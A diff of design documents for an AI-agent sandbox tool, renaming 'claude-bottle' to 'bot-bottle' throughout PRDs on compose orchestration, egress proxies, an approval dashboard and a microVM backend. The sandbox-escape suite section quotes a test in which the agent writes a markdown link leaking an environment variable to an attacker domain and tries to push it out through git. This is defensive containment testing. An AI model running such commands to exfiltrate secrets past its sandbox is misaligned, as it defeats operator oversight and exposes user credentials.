- **No-op approval handlers.** Each tool's approve path in 0013 writes an audit entry and returns `{status: "approved"}` to the agent but doesn't actually change any config. 0014 / 0015 / 0016 replace these with real handlers.
|
||||
|
||||
### Existing code touched
|
||||
|
||||
- **Bottle lifecycle scripts** — launch the MCP sidecar alongside other sidecars; mount `/etc/claude-bottle/current-config/` read-only into the agent container.
|
||||
- **Bottle lifecycle scripts** — launch the MCP sidecar alongside other sidecars; mount `/etc/bot-bottle/current-config/` read-only into the agent container.
|
||||
- **`cli.py`** — adds the dashboard subcommand.
|
||||
|
||||
### Data model changes
|
||||
|
||||
@@ -106,7 +106,7 @@ delivery.
|
||||
apply path. SIGHUP reload semantics carry over to egress-proxy.
|
||||
- PRD 0013 (supervise plane) `cred-proxy-block` MCP tool stays;
|
||||
its proposed file format updates per the new route shape.
|
||||
- Removal of the old cred-proxy code: `claude_bottle/cred_proxy.py`,
|
||||
- Removal of the old cred-proxy code: `bot_bottle/cred_proxy.py`,
|
||||
`cred_proxy_server.py`, `backend/docker/cred_proxy.py`,
|
||||
`provision/cred_proxy.py`, the `Dockerfile.cred-proxy`. Tests
|
||||
updated.
|
||||
@@ -254,8 +254,8 @@ manifest load:
|
||||
`path` → `host`, drop the agent-side URL prefix).
|
||||
- `cred_proxy_routes` field on existing dataclasses removed.
|
||||
- `Dockerfile.cred-proxy` deleted.
|
||||
- `claude_bottle/cred_proxy*.py` deleted.
|
||||
- `claude_bottle/backend/docker/cred_proxy*.py` consolidated into
|
||||
- `bot_bottle/cred_proxy*.py` deleted.
|
||||
- `bot_bottle/backend/docker/cred_proxy*.py` consolidated into
|
||||
`egress_proxy*.py`.
|
||||
- Provisioner files renamed.
|
||||
- PRDs 0010 (cred-proxy), 0014 (cred-proxy-block remediation)
|
||||
|
||||
@@ -15,7 +15,7 @@ down`. Logs come from `docker compose logs` and land in a single file
|
||||
per instance, so reading what happened in a session is one `less`
|
||||
away.
|
||||
|
||||
State for each instance (`~/.claude-bottle/state/<slug>/`) becomes a
|
||||
State for each instance (`~/.bot-bottle/state/<slug>/`) becomes a
|
||||
self-describing folder:
|
||||
|
||||
```
|
||||
@@ -34,7 +34,7 @@ together fully describe the container topology.
|
||||
|
||||
Today `start` builds each sidecar (`pipelock`, `egress`, `git-gate`,
|
||||
`supervise`) and the agent container with a chain of individual SDK
|
||||
calls in `claude_bottle/backend/docker/launch.py`:
|
||||
calls in `bot_bottle/backend/docker/launch.py`:
|
||||
|
||||
- A per-sidecar `Docker{Sidecar}.start()` method does
|
||||
`docker create` → `docker cp` (stage files) → `docker network
|
||||
@@ -50,7 +50,7 @@ This is fine, but it has three rough edges:
|
||||
|
||||
2. **Logs are scattered.** Each container's logs sit in Docker's per-
|
||||
container journal. To debug a session post-mortem you have to
|
||||
remember to run `docker logs claude-bottle-pipelock-<slug>` etc.
|
||||
remember to run `docker logs bot-bottle-pipelock-<slug>` etc.
|
||||
before the containers age out, and there's no merged view.
|
||||
|
||||
3. **Teardown is bespoke.** Each sidecar's `stop()` is its own
|
||||
@@ -62,14 +62,14 @@ project name per environment, merged logs, atomic up/down.
|
||||
|
||||
## Goals / Success Criteria
|
||||
|
||||
1. `claude-bottle start <agent>` writes
|
||||
`~/.claude-bottle/state/<slug>/docker-compose.yml` and brings the
|
||||
1. `bot-bottle start <agent>` writes
|
||||
`~/.bot-bottle/state/<slug>/docker-compose.yml` and brings the
|
||||
project up with `docker compose -p <project> up`.
|
||||
2. The compose file is the source of truth for the container
|
||||
topology — every sidecar that runs is declared as a `services:`
|
||||
entry, every network is a `networks:` entry, every bind mount is
|
||||
a `volumes:` entry.
|
||||
3. `~/.claude-bottle/state/<slug>/compose.log` contains the full
|
||||
3. `~/.bot-bottle/state/<slug>/compose.log` contains the full
|
||||
merged stdout/stderr of every service for the session, in
|
||||
`docker compose logs --no-color` format.
|
||||
4. `metadata.json` records the compose project name alongside the
|
||||
@@ -79,7 +79,7 @@ project name per environment, merged logs, atomic up/down.
|
||||
5. Session teardown is `docker compose -p <project> down`. The
|
||||
existing per-sidecar `stop()` lifecycle methods come out.
|
||||
6. The `cleanup` CLI uses `docker compose ls` (filtered to
|
||||
`claude-bottle-*` projects) instead of name-prefix scans across
|
||||
`bot-bottle-*` projects) instead of name-prefix scans across
|
||||
`docker ps -a` and `docker network ls`.
|
||||
7. The existing remediation flows (`pipelock-block`,
|
||||
`egress-block`, `capability-block`) keep working without
|
||||
@@ -95,7 +95,7 @@ project name per environment, merged logs, atomic up/down.
|
||||
implementation detail of the Docker backend.
|
||||
- **Replacing the backend abstraction (PRD 0003).** `Backend` stays
|
||||
abstract; only the Docker implementation changes.
|
||||
- **A long-lived "claude-bottle daemon."** Each `start` invocation
|
||||
- **A long-lived "bot-bottle daemon."** Each `start` invocation
|
||||
still owns a single compose project for the lifetime of the
|
||||
session. No persistent service.
|
||||
- **Image pre-building.** Compose's `build:` directive triggers
|
||||
@@ -109,7 +109,7 @@ project name per environment, merged logs, atomic up/down.
|
||||
|
||||
### In scope
|
||||
|
||||
- New module `claude_bottle/backend/docker/compose.py` that renders a
|
||||
- New module `bot_bottle/backend/docker/compose.py` that renders a
|
||||
compose dict from a `BottlePlan` and writes it to
|
||||
`state/<slug>/docker-compose.yml`.
|
||||
- `DockerBackend.start` rewritten to:
|
||||
@@ -118,7 +118,7 @@ project name per environment, merged logs, atomic up/down.
|
||||
into host paths under `state/<slug>/`.
|
||||
3. Render + write the compose file.
|
||||
4. Exec `docker compose -p <project> up -d`.
|
||||
5. `docker attach claude-bottle-<slug>` for the agent's TTY.
|
||||
5. `docker attach bot-bottle-<slug>` for the agent's TTY.
|
||||
6. On exit: `docker compose -p <project> logs --no-color`
|
||||
→ `state/<slug>/compose.log`, then `docker compose -p
|
||||
<project> down --volumes`.
|
||||
@@ -134,12 +134,12 @@ project name per environment, merged logs, atomic up/down.
|
||||
|
||||
### Out of scope
|
||||
|
||||
- Changing the manifest layer (`claude_bottle/manifest.py`,
|
||||
- Changing the manifest layer (`bot_bottle/manifest.py`,
|
||||
`egress.py`'s plan dataclasses, `pipelock.py`'s plan dataclasses).
|
||||
- Changing the agent's runtime contract (proxy env vars, CA bundle
|
||||
paths, current-config mount path).
|
||||
- Changing audit-log shape or location (
|
||||
`~/.claude-bottle/audit/<component>-<slug>.log` stays).
|
||||
`~/.bot-bottle/audit/<component>-<slug>.log` stays).
|
||||
- Changing the MCP server's tool list or wire format.
|
||||
- Dropping the `--rm` semantics for the agent: the agent container
|
||||
is still ephemeral; compose's `down --volumes` handles cleanup.
|
||||
@@ -148,7 +148,7 @@ project name per environment, merged logs, atomic up/down.
|
||||
|
||||
### Project name
|
||||
|
||||
`compose_project = f"claude-bottle-{slug}"`. The slug stays the
|
||||
`compose_project = f"bot-bottle-{slug}"`. The slug stays the
|
||||
existing `slugify(agent_name)-<5-char-random-base36>` from
|
||||
`bottle_state.py`. Compose adds its own prefix to networks
|
||||
(`<project>_<network>`) and to default container names — which is
|
||||
@@ -163,29 +163,29 @@ an explicit `container_name:` matching today's pattern:
|
||||
```yaml
|
||||
services:
|
||||
pipelock:
|
||||
container_name: claude-bottle-pipelock-<slug>
|
||||
container_name: bot-bottle-pipelock-<slug>
|
||||
egress:
|
||||
container_name: claude-bottle-egress-<slug>
|
||||
container_name: bot-bottle-egress-<slug>
|
||||
# ...
|
||||
```
|
||||
|
||||
This keeps the dashboard's container-discovery output stable for
|
||||
operators who've memorized the names. The compose project name
|
||||
(`claude-bottle-<slug>`) is the only new identifier.
|
||||
(`bot-bottle-<slug>`) is the only new identifier.
|
||||
|
||||
### Networks
|
||||
|
||||
The two existing networks (`claude-bottle-net-<slug>` internal +
|
||||
`claude-bottle-egress-<slug>` upstream-bridge) become compose
|
||||
The two existing networks (`bot-bottle-net-<slug>` internal +
|
||||
`bot-bottle-egress-<slug>` upstream-bridge) become compose
|
||||
networks:
|
||||
|
||||
```yaml
|
||||
networks:
|
||||
internal:
|
||||
name: claude-bottle-net-<slug>
|
||||
name: bot-bottle-net-<slug>
|
||||
internal: true
|
||||
egress:
|
||||
name: claude-bottle-egress-<slug>
|
||||
name: bot-bottle-egress-<slug>
|
||||
```
|
||||
|
||||
Each service's `networks:` list mirrors today's wiring.
|
||||
@@ -238,7 +238,7 @@ sidecars that exist.
|
||||
### Logging
|
||||
|
||||
`docker compose up -d` starts everything detached. The agent is
|
||||
attached for the user's TTY via `docker attach claude-bottle-
|
||||
attached for the user's TTY via `docker attach bot-bottle-
|
||||
<slug>`. Sidecars stream into Docker's per-container journals
|
||||
during the session, exactly as today, and `docker compose logs -f`
|
||||
gives a merged tail if the user wants it (the dashboard can shell
|
||||
@@ -265,7 +265,7 @@ Add one field; everything else is unchanged.
|
||||
"agent_name": "implementer",
|
||||
"cwd": "/Users/.../some-project",
|
||||
"started_at": "2026-05-25T20:13:04Z",
|
||||
"compose_project": "claude-bottle-implementer-a7k3f"
|
||||
"compose_project": "bot-bottle-implementer-a7k3f"
|
||||
}
|
||||
```
|
||||
|
||||
@@ -291,13 +291,13 @@ After this PRD:
|
||||
### Cleanup CLI
|
||||
|
||||
`./cli.py cleanup` switches from "list every container with prefix
|
||||
`claude-bottle-` and every network with prefix `claude-bottle-net-`
|
||||
or `claude-bottle-egress-`" to:
|
||||
`bot-bottle-` and every network with prefix `bot-bottle-net-`
|
||||
or `bot-bottle-egress-`" to:
|
||||
|
||||
1. `docker compose ls --all --format json` → filter to projects
|
||||
whose name starts with `claude-bottle-`.
|
||||
whose name starts with `bot-bottle-`.
|
||||
2. For each: `docker compose -p <project> down --volumes`.
|
||||
3. Reap any state dirs under `~/.claude-bottle/state/` whose
|
||||
3. Reap any state dirs under `~/.bot-bottle/state/` whose
|
||||
`compose_project` no longer appears in `compose ls`.
|
||||
|
||||
Strays from pre-compose code-paths can be mopped up by keeping the
|
||||
@@ -313,7 +313,7 @@ existing prefix scan as a fallback for one release.
|
||||
2. **How does `claude` reach the agent's TTY?** Decided: keep
|
||||
today's `docker exec -it` model. Agent runs `sleep infinity`
|
||||
under compose; `DockerBottle.exec_claude` runs
|
||||
`docker exec -it claude-bottle-<slug> claude ...` exactly like
|
||||
`docker exec -it bot-bottle-<slug> claude ...` exactly like
|
||||
today. Compose owns the lifecycle (so `compose logs` includes
|
||||
the agent's stdout, `compose down` tears it down), but the
|
||||
user-facing exec model is unchanged. Rejected `docker attach`
|
||||
@@ -332,8 +332,8 @@ existing prefix scan as a fallback for one release.
|
||||
|
||||
5. **Image build caching.** `build:` in compose rebuilds on first
|
||||
`up` unless the image is already tagged. The per-sidecar images
|
||||
(`claude-bottle-pipelock`, `claude-bottle-egress`,
|
||||
`claude-bottle-git-gate`, `claude-bottle-supervise`) should
|
||||
(`bot-bottle-pipelock`, `bot-bottle-egress`,
|
||||
`bot-bottle-git-gate`, `bot-bottle-supervise`) should
|
||||
stay tagged on the daemon between runs so we don't rebuild on
|
||||
every start. Verify compose's behavior matches.
|
||||
|
||||
|
||||
@@ -128,7 +128,7 @@ the "operator wants to make an unprompted change" case.
|
||||
### Layout
|
||||
|
||||
```
|
||||
claude-bottle dashboard (3 pending, 2 active)
|
||||
bot-bottle dashboard (3 pending, 2 active)
|
||||
─────────────────────────────────────────────────────────
|
||||
proposals:
|
||||
03:14:22 [implementer-cy7a6] egress-block abc123…
|
||||
|
||||
@@ -63,7 +63,7 @@ captures full-merged logs per bottle (PRD 0018). It already
|
||||
→ restore`, matching the existing editor-flow pattern.
|
||||
3. On launch success, the dashboard performs a handoff (option
|
||||
1 from the research doc): `curses.endwin()` → `docker exec
|
||||
-it claude-bottle-<slug> claude --dangerously-skip-permissions`
|
||||
-it bot-bottle-<slug> claude --dangerously-skip-permissions`
|
||||
→ on exit, `stdscr.refresh()` and re-render with the new
|
||||
bottle in the agents pane.
|
||||
4. The bottle's lifetime is owned by the dashboard process, NOT
|
||||
@@ -268,7 +268,7 @@ dashboard started this session, the dashboard holds the
|
||||
`bottle.exec_claude(...)`. For an agent it discovered via
|
||||
`list_active_slugs` (previous-dashboard or external start),
|
||||
the dashboard synthesizes a one-shot `DockerBottle` from the
|
||||
slug — container name is `claude-bottle-<slug>`, no prompt
|
||||
slug — container name is `bot-bottle-<slug>`, no prompt
|
||||
path because the agent's claude config already has `--append-
|
||||
system-prompt-file` baked in from the original launch —
|
||||
and runs the same exec. Either way, Enter drops to
|
||||
@@ -284,7 +284,7 @@ agents pane.
|
||||
`x` on a non-owned agent (discovered via `list_active_slugs`
|
||||
but not in `bottles` dict): no-op with status hint pointing
|
||||
at `./cli.py cleanup` (the existing path that tears down
|
||||
ANY claude-bottle compose project plus reaps state dirs).
|
||||
ANY bot-bottle compose project plus reaps state dirs).
|
||||
|
||||
### Dashboard quit
|
||||
|
||||
@@ -392,5 +392,5 @@ Sized for one PR each.
|
||||
- `docs/research/claude-code-pane-in-dashboard.md` — option 1
|
||||
(handoff) is what `attach_claude` implements here; options 2
|
||||
/ 3 are out of scope for this PRD
|
||||
- `claude_bottle/cli/start.py:_launch_bottle` — the function
|
||||
- `bot_bottle/cli/start.py:_launch_bottle` — the function
|
||||
chunk 1 extracts the prepare + attach pieces out of
|
||||
|
||||
@@ -46,7 +46,7 @@ window, two panes, no terminal handoff.
|
||||
two-pane layout: dashboard in the left pane, an initially-
|
||||
empty right pane reserved for claude sessions.
|
||||
2. Pressing Enter on a focused agent row spawns / respawns the
|
||||
right pane with `docker exec -it claude-bottle-<slug> claude
|
||||
right pane with `docker exec -it bot-bottle-<slug> claude
|
||||
--continue --dangerously-skip-permissions`. The right pane's
|
||||
prior content (if any) is replaced.
|
||||
3. Pressing `n` to start a new agent (the existing chunk-2 flow
|
||||
|
||||
@@ -26,7 +26,7 @@ The suite is the backend-agnostic gate the smolmachines work
|
||||
has to pass before that backend can be considered a viable
|
||||
substitute for Docker. Today's Docker backend is the
|
||||
backend-under-test; the suite runs against whatever
|
||||
`CLAUDE_BOTTLE_BACKEND` resolves to.
|
||||
`BOT_BOTTLE_BACKEND` resolves to.
|
||||
|
||||
## Problem
|
||||
|
||||
@@ -121,7 +121,7 @@ destination outside the bottle.
|
||||
suite is written against the abstract `BottleBackend` API
|
||||
via the existing `get_bottle_backend()` selector; future
|
||||
smolmachines work flips
|
||||
`CLAUDE_BOTTLE_BACKEND=smolmachines` and reruns. No
|
||||
`BOT_BOTTLE_BACKEND=smolmachines` and reruns. No
|
||||
smolmachines-specific code here.
|
||||
|
||||
## Scope
|
||||
@@ -212,7 +212,7 @@ scan happens first.
|
||||
### Per-attack scaffolding
|
||||
|
||||
Each test calls `bottle.exec(script)` (the existing
|
||||
`Bottle.exec` from `claude_bottle.backend.Bottle`) and
|
||||
`Bottle.exec` from `bot_bottle.backend.Bottle`) and
|
||||
asserts on the returncode + stdout + stderr.
|
||||
|
||||
The agent container has `curl`, `git`, `dig`, etc. pre-
|
||||
@@ -331,7 +331,7 @@ def test_5_readme_push_blocked(self):
|
||||
f'echo "[click](https://attacker.example.com/?leak={env_ref})" > README.md && '
|
||||
'git add . && git commit -m "leak" && '
|
||||
'git remote add origin '
|
||||
'git://claude-bottle-git-gate-<slug>/throwaway.git && '
|
||||
'git://bot-bottle-git-gate-<slug>/throwaway.git && '
|
||||
'git push origin master'
|
||||
)
|
||||
self.assertNotEqual(0, result.returncode)
|
||||
@@ -460,7 +460,7 @@ Sized small.
|
||||
already dies with a clear message naming the unknown
|
||||
backend; the test surfaces that as a hard error
|
||||
rather than a skip. Forces the developer to set
|
||||
`CLAUDE_BOTTLE_BACKEND` to a real implementation —
|
||||
`BOT_BOTTLE_BACKEND` to a real implementation —
|
||||
surprise-skips on smolmachines branches that forgot to
|
||||
set the env var are worse than a loud failure.
|
||||
|
||||
|
||||
@@ -8,7 +8,7 @@
|
||||
|
||||
Ship a second concrete `BottleBackend` —
|
||||
`SmolmachinesBottleBackend`, selected via
|
||||
`CLAUDE_BOTTLE_BACKEND=smolmachines` — that runs each bottle inside
|
||||
`BOT_BOTTLE_BACKEND=smolmachines` — that runs each bottle inside
|
||||
a per-agent libkrun microVM via `smolvm`. Egress is enforced by
|
||||
libkrun's TSI ("Transport Socket Interface") allowlist set to a
|
||||
**single /32** — the docker IP of the per-bottle sidecar bundle
|
||||
@@ -28,7 +28,7 @@ port-granular.
|
||||
The Docker backend ships unchanged; this is opt-in via the existing
|
||||
env-var selector. The acceptance gate is PRD 0022's
|
||||
`tests/integration/test_sandbox_escape.py` running green against
|
||||
`CLAUDE_BOTTLE_BACKEND=smolmachines`.
|
||||
`BOT_BOTTLE_BACKEND=smolmachines`.
|
||||
|
||||
### Design pivot from the first draft
|
||||
|
||||
@@ -63,7 +63,7 @@ with significantly less code.
|
||||
container-based bottles on macOS; `smolmachines-as-vm-backend.md`
|
||||
evaluates smolmachines as the lifecycle wrapper. Today, the only
|
||||
backend in the registry is Docker
|
||||
(`claude_bottle/backend/__init__.py:_BACKENDS = {"docker": ...}`),
|
||||
(`bot_bottle/backend/__init__.py:_BACKENDS = {"docker": ...}`),
|
||||
and four things motivate a second one now:
|
||||
|
||||
- **Network reach beyond pipelock.** The threat model is a malicious
|
||||
@@ -85,7 +85,7 @@ and four things motivate a second one now:
|
||||
enforced by the CPU's MMU instead of namespace bookkeeping.
|
||||
- **PRD 0022 is backend-agnostic by design** but currently only
|
||||
exercises the Docker backend. The suite was written with
|
||||
`CLAUDE_BOTTLE_BACKEND` selection in mind precisely so the
|
||||
`BOT_BOTTLE_BACKEND` selection in mind precisely so the
|
||||
smolmachines path could be validated against the same five
|
||||
attacks. Until a second backend exists, the abstraction is
|
||||
unproven.
|
||||
@@ -143,7 +143,7 @@ virtio-net carve-out smolvm doesn't expose anyway).
|
||||
The feature works when all of the following are observable on a
|
||||
macOS host with smolmachines installed:
|
||||
|
||||
- `CLAUDE_BOTTLE_BACKEND=smolmachines python3 cli.py start <agent>`
|
||||
- `BOT_BOTTLE_BACKEND=smolmachines python3 cli.py start <agent>`
|
||||
brings up a microVM, runs claude-code inside it, and tears it
|
||||
down on exit. Same y/N preflight UX as Docker — only the
|
||||
resolved-runtime line differs.
|
||||
@@ -160,14 +160,14 @@ macOS host with smolmachines installed:
|
||||
|
||||
The feature is **done** when all of the following ship:
|
||||
|
||||
- A new `claude_bottle/backend/smolmachines/` subpackage exists,
|
||||
mirroring the layout of `claude_bottle/backend/docker/`
|
||||
- A new `bot_bottle/backend/smolmachines/` subpackage exists,
|
||||
mirroring the layout of `bot_bottle/backend/docker/`
|
||||
(`backend.py`, `bottle.py`, `bottle_plan.py`,
|
||||
`bottle_cleanup_plan.py`, `prepare.py`, `launch.py`,
|
||||
`cleanup.py`, `util.py`, and a `provision/` subpackage for the
|
||||
five `provision_*` methods).
|
||||
- `SmolmachinesBottleBackend` registered under the
|
||||
`"smolmachines"` key in `claude_bottle/backend/__init__.py:_BACKENDS`.
|
||||
`"smolmachines"` key in `bot_bottle/backend/__init__.py:_BACKENDS`.
|
||||
- Per-bottle Smolfile generation: a runtime-rendered TOML written
|
||||
to the bottle's stage dir using smolvm 0.8.0's actual schema
|
||||
(`image`, `entrypoint`, `cmd`, `env = ["K=V", …]`, `[network]
|
||||
@@ -197,7 +197,7 @@ The feature is **done** when all of the following ship:
|
||||
step is part of `prepare`, analogous to
|
||||
`docker_mod.build_image`.
|
||||
- The PRD 0022 sandbox-escape suite, run with
|
||||
`CLAUDE_BOTTLE_BACKEND=smolmachines`, passes locally on a
|
||||
`BOT_BOTTLE_BACKEND=smolmachines`, passes locally on a
|
||||
smolmachines-capable host. The suite is updated to skip cleanly
|
||||
on hosts that can't reach smolmachines (same shape as the
|
||||
existing `GITEA_ACTIONS == "true"` skip), not to fail.
|
||||
@@ -215,7 +215,7 @@ The feature is **done** when all of the following ship:
|
||||
side. Selection stays env-driven; the manifest does not gain a
|
||||
`backend` field.
|
||||
- **No default-backend change.** `docker` remains the default
|
||||
value of `CLAUDE_BOTTLE_BACKEND`; smolmachines is strictly
|
||||
value of `BOT_BOTTLE_BACKEND`; smolmachines is strictly
|
||||
opt-in until it has been load-bearing on at least one operator's
|
||||
workflow for a release cycle.
|
||||
- **No `--outbound-localhost-only`.** That TSI flag opens the
|
||||
@@ -251,7 +251,7 @@ The feature is **done** when all of the following ship:
|
||||
|
||||
### In scope
|
||||
|
||||
- New `claude_bottle/backend/smolmachines/` subpackage with the
|
||||
- New `bot_bottle/backend/smolmachines/` subpackage with the
|
||||
full set of `BottleBackend` overrides.
|
||||
- Smolfile generator (TOML) emitting the smolvm 0.8.0 schema:
|
||||
top-level `image`, `entrypoint`, `cmd`, `env = [...]`,
|
||||
@@ -267,7 +267,7 @@ The feature is **done** when all of the following ship:
|
||||
- Per-bottle CA install path: the bundle's CA cert lands inside
|
||||
the microVM via `smolvm machine exec` after start
|
||||
(analogous to the existing `provision_ca` for Docker).
|
||||
- Per-bottle docker bridge: a `claude-bottle-bundle-<slug>`
|
||||
- Per-bottle docker bridge: a `bot-bottle-bundle-<slug>`
|
||||
network with a /24 subnet derived from the slug hash; the
|
||||
bundle gets a pinned IP at `.2` (gateway is `.1`). Pinning the
|
||||
IP at start time avoids a race between the bundle's IP being
|
||||
@@ -314,7 +314,7 @@ The feature is **done** when all of the following ship:
|
||||
### Backend layout
|
||||
|
||||
```
|
||||
claude_bottle/backend/smolmachines/
|
||||
bot_bottle/backend/smolmachines/
|
||||
__init__.py re-exports SmolmachinesBottleBackend
|
||||
backend.py SmolmachinesBottleBackend façade
|
||||
bottle.py SmolmachinesBottle (exec_claude / exec / cp_in / close)
|
||||
@@ -339,7 +339,7 @@ design needs neither.
|
||||
```
|
||||
┌── macOS host ─────────────────────────────────────────────────────┐
|
||||
│ │
|
||||
│ ┌── per-bottle docker bridge claude-bottle-bundle-<slug> ──┐ │
|
||||
│ ┌── per-bottle docker bridge bot-bottle-bundle-<slug> ──┐ │
|
||||
│ │ subnet: 192.168.X.0/24 (X = hash(slug) mod 254) │ │
|
||||
│ │ │ │
|
||||
│ │ ┌── bundle container (pinned --ip 192.168.X.2) ────────┐ │ │
|
||||
@@ -401,9 +401,9 @@ Three changes vs. the Docker backend:
|
||||
transport tested. The conversion path is a registry hop: bring
|
||||
up an ephemeral `registry:2.8.3` container bound to
|
||||
`127.0.0.1:<random>`, `docker tag` + `docker push` into it,
|
||||
`smolvm pack create --image localhost:<port>/claude-bottle:<id>`,
|
||||
`smolvm pack create --image localhost:<port>/bot-bottle:<id>`,
|
||||
tear down the registry. The `.smolmachine` is cached under
|
||||
`~/.cache/claude-bottle/smolmachines/` keyed by the docker
|
||||
`~/.cache/bot-bottle/smolmachines/` keyed by the docker
|
||||
image ID, so Dockerfile changes invalidate the cache and
|
||||
unchanged rebuilds skip the whole pipeline.
|
||||
4. Render the per-bottle Smolfile to `stage_dir/smolfile.toml`
|
||||
@@ -424,7 +424,7 @@ Three changes vs. the Docker backend:
|
||||
`SmolmachinesBottleBackend.launch(plan)`:
|
||||
|
||||
1. Create the per-bottle docker bridge network
|
||||
(`claude-bottle-bundle-<slug>` with the resolved subnet) and
|
||||
(`bot-bottle-bundle-<slug>` with the resolved subnet) and
|
||||
start the sidecar bundle container with `docker run --network
|
||||
... --ip <bundle-ip> ...`. Wait for its daemons to bind:
|
||||
pipelock on 8888, git-gate on 9418 (conditional), supervise
|
||||
@@ -457,7 +457,7 @@ The `BottleSpec` dataclass and the `Bottle` ABC do not change.
|
||||
|
||||
### Selection wiring
|
||||
|
||||
In `claude_bottle/backend/__init__.py`:
|
||||
In `bot_bottle/backend/__init__.py`:
|
||||
|
||||
```python
|
||||
from .docker import DockerBottleBackend
|
||||
@@ -508,7 +508,7 @@ The existing "unknown backend" `die()` path stays as-is.
|
||||
(egress's port) is refused — confirming the bundle-internal
|
||||
bind of egress to `127.0.0.1` works as the port-granularity
|
||||
layer TSI doesn't provide.
|
||||
- **PRD 0022 re-run:** with `CLAUDE_BOTTLE_BACKEND=smolmachines`,
|
||||
- **PRD 0022 re-run:** with `BOT_BOTTLE_BACKEND=smolmachines`,
|
||||
all five attack categories return sandbox-block markers and the
|
||||
suite passes. The test code does not change beyond the env-var
|
||||
flip — that's the contract the PRD 0022 abstraction was
|
||||
@@ -517,7 +517,7 @@ The existing "unknown backend" `die()` path stays as-is.
|
||||
## Sizing — into chunks
|
||||
|
||||
PRD 0024's bundle image is a prerequisite — this PRD assumes
|
||||
`claude-bottle-sidecars:<pinned>` is available when chunk 3 lands.
|
||||
`bot-bottle-sidecars:<pinned>` is available when chunk 3 lands.
|
||||
|
||||
1. **Backend skeleton + selection + Smolfile/gvproxy renderers.**
|
||||
*Shipped (PR #62), but under the now-rejected gvproxy design.*
|
||||
@@ -598,7 +598,7 @@ PRD 0024's bundle image is a prerequisite — this PRD assumes
|
||||
enumerate active bottles (`list_active` queries the daemon).
|
||||
The microVM enumeration story is `smolvm machine ls --json`;
|
||||
the plan is to filter on a deterministic name prefix
|
||||
`claude-bottle-<slug>` + cross-reference with on-disk metadata
|
||||
`bot-bottle-<slug>` + cross-reference with on-disk metadata
|
||||
under `state/<slug>/`.
|
||||
8. **Loopback scoping (Docker Desktop pivot).** The original
|
||||
design pinned the bundle at a docker bridge IP and set TSI's
|
||||
@@ -667,5 +667,5 @@ PRD 0024's bundle image is a prerequisite — this PRD assumes
|
||||
needed to exercise the smolmachines path.
|
||||
- PRD 0024
|
||||
(`docs/prds/0024-consolidate-sidecar-bundle.md`) — defines the
|
||||
single bundle image (`claude-bottle-sidecars`) this PRD
|
||||
single bundle image (`bot-bottle-sidecars`) this PRD
|
||||
consumes. Prerequisite for chunk 3 of this PRD.
|
||||
|
||||
@@ -8,7 +8,7 @@
|
||||
|
||||
Replace the four per-bottle sidecar containers in the Docker
|
||||
backend (pipelock, egress, git-gate, supervise) with a single
|
||||
container image — `claude-bottle-sidecars` — that runs all four
|
||||
container image — `bot-bottle-sidecars` — that runs all four
|
||||
daemons under a small stdlib-Python init supervisor. Same
|
||||
per-bottle lifetime, same scope, fewer containers per bottle,
|
||||
one Dockerfile to maintain instead of three. Outcome: the
|
||||
@@ -64,7 +64,7 @@ The feature works when all of the following are observable:
|
||||
speak the same protocols on the same well-known in-container
|
||||
ports as before; only the container hostname changes.
|
||||
- The sandbox-escape suite from PRD 0022 stays green.
|
||||
- `docker logs claude-bottle-sidecars-<slug>` shows interleaved
|
||||
- `docker logs bot-bottle-sidecars-<slug>` shows interleaved
|
||||
output from all four daemons, prefixed by the supervisor with
|
||||
the daemon name. Each daemon's exit propagates through the
|
||||
supervisor to the container's exit code.
|
||||
@@ -77,18 +77,18 @@ The feature is **done** when all of the following ship:
|
||||
- A new `Dockerfile.sidecars` (multi-stage) that:
|
||||
- Copies the `pipelock` binary from the upstream pipelock
|
||||
image (currently `ghcr.io/luckypipewrench/pipelock` pinned
|
||||
by digest in `claude_bottle/backend/docker/pipelock.py`).
|
||||
by digest in `bot_bottle/backend/docker/pipelock.py`).
|
||||
- Copies the `gitleaks` binary from `zricethezav/gitleaks`
|
||||
(currently pinned by digest in `Dockerfile.git-gate`).
|
||||
- Installs `mitmdump` (via `pip install mitmproxy==<pinned>`).
|
||||
- Installs the system deps `git-daemon` + `openssh-client`
|
||||
that git-gate needs.
|
||||
- Copies the existing addon + server Python from
|
||||
`claude_bottle/egress_addon.py`, `egress_addon_core.py`,
|
||||
`bot_bottle/egress_addon.py`, `egress_addon_core.py`,
|
||||
`yaml_subset.py`, `supervise.py`, `supervise_server.py`.
|
||||
- Drops in a new `claude_bottle/sidecar_init.py` (stdlib
|
||||
- Drops in a new `bot_bottle/sidecar_init.py` (stdlib
|
||||
Python) as the container's `ENTRYPOINT`.
|
||||
- A new `claude_bottle/sidecar_init.py` — a small Python init
|
||||
- A new `bot_bottle/sidecar_init.py` — a small Python init
|
||||
supervisor that:
|
||||
- Reads which daemons to run from env (defaults: all four).
|
||||
- Spawns each as a `subprocess.Popen` with prefixed
|
||||
@@ -99,13 +99,13 @@ The feature is **done** when all of the following ship:
|
||||
- Exits with code 0 only if every child exited 0; otherwise
|
||||
exits 1. (Or: any-child-died → tear down the rest and exit
|
||||
that child's code — see open question 2.)
|
||||
- `claude_bottle/backend/docker/compose.py` renderer updated to
|
||||
- `bot_bottle/backend/docker/compose.py` renderer updated to
|
||||
emit one `sidecars` service in place of the four. The four
|
||||
in-container ports (8888 / 9099 / 9418 / 9100, today) all
|
||||
land on the same container; the agent-facing ports
|
||||
(HTTPS_PROXY, git-gate-SSH, supervise-MCP) are published as
|
||||
before, just from one container instead of three.
|
||||
- `claude_bottle/backend/docker/{pipelock,egress,git_gate,supervise}.py`
|
||||
- `bot_bottle/backend/docker/{pipelock,egress,git_gate,supervise}.py`
|
||||
collapsed: the platform-neutral pieces stay
|
||||
(`PipelockProxy`, `Egress`, `GitGate`, `Supervise` ABCs and
|
||||
their plans), the docker-specific subclasses lose their
|
||||
@@ -161,7 +161,7 @@ The feature is **done** when all of the following ship:
|
||||
- New `Dockerfile.sidecars` (multi-stage) bringing pipelock,
|
||||
mitmproxy, gitleaks, git-daemon, openssh-client, and the
|
||||
project's addon + server Python into one image.
|
||||
- New `claude_bottle/sidecar_init.py` supervising the four
|
||||
- New `bot_bottle/sidecar_init.py` supervising the four
|
||||
daemons.
|
||||
- `backend/docker/compose.py` renderer collapse (five services
|
||||
→ two).
|
||||
@@ -217,12 +217,12 @@ RUN apt-get update \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Drop in the project's Python addon + server code
|
||||
COPY claude_bottle/egress_addon_core.py /app/egress_addon_core.py
|
||||
COPY claude_bottle/egress_addon.py /app/egress_addon.py
|
||||
COPY claude_bottle/yaml_subset.py /app/yaml_subset.py
|
||||
COPY claude_bottle/supervise.py /app/supervise.py
|
||||
